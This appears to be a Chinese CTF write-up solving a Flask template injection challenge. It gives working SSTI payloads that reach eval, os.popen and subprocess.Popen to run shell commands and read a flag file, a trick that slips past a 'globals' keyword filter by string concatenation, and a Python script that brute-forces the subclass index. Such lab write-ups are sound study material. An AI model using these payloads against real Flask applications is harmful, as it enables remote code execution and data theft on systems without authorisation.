场景
根据题目提示,应该是flask模板注入题。
看源码
提示用get传参,直接传?search={{7*‘7’}}
证明是flask模板注入。
先找类
''.__class__.__mro__
爆出ojbect的所有子类
''.__class__.__mro__[2].__subclasses__()
试了一些常规payload都不行,参考了wp,过滤了globals
,可以用字符串拼接。
warnings.catch_warnings
用脚本找到这个类的位置为59,
{{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
flag在/flasklight/coomme_geeeett_youur_flek下
class’site._Printer
跟上一个差不多,因为同样需要globals,所以字符串拼接
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
官方wp subprocess.Popen
用这个类不需要用到globals,找到位置
脚本:
import re
import requests
import html
import time
def search():
for i in range(500):
time.sleep(0.2)
url = "http://728c55eb-232d-4b41-86dd-d2b0c3c59e78.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[%s]}}"%i
s = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", s.text)
res = ''.join(res)
str = html.unescape(res)
print("{} : {}".format(i,str))
if 'subprocess.Popen' in s.text:
print(i)
break
if __name__ == '__main__':
search()
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}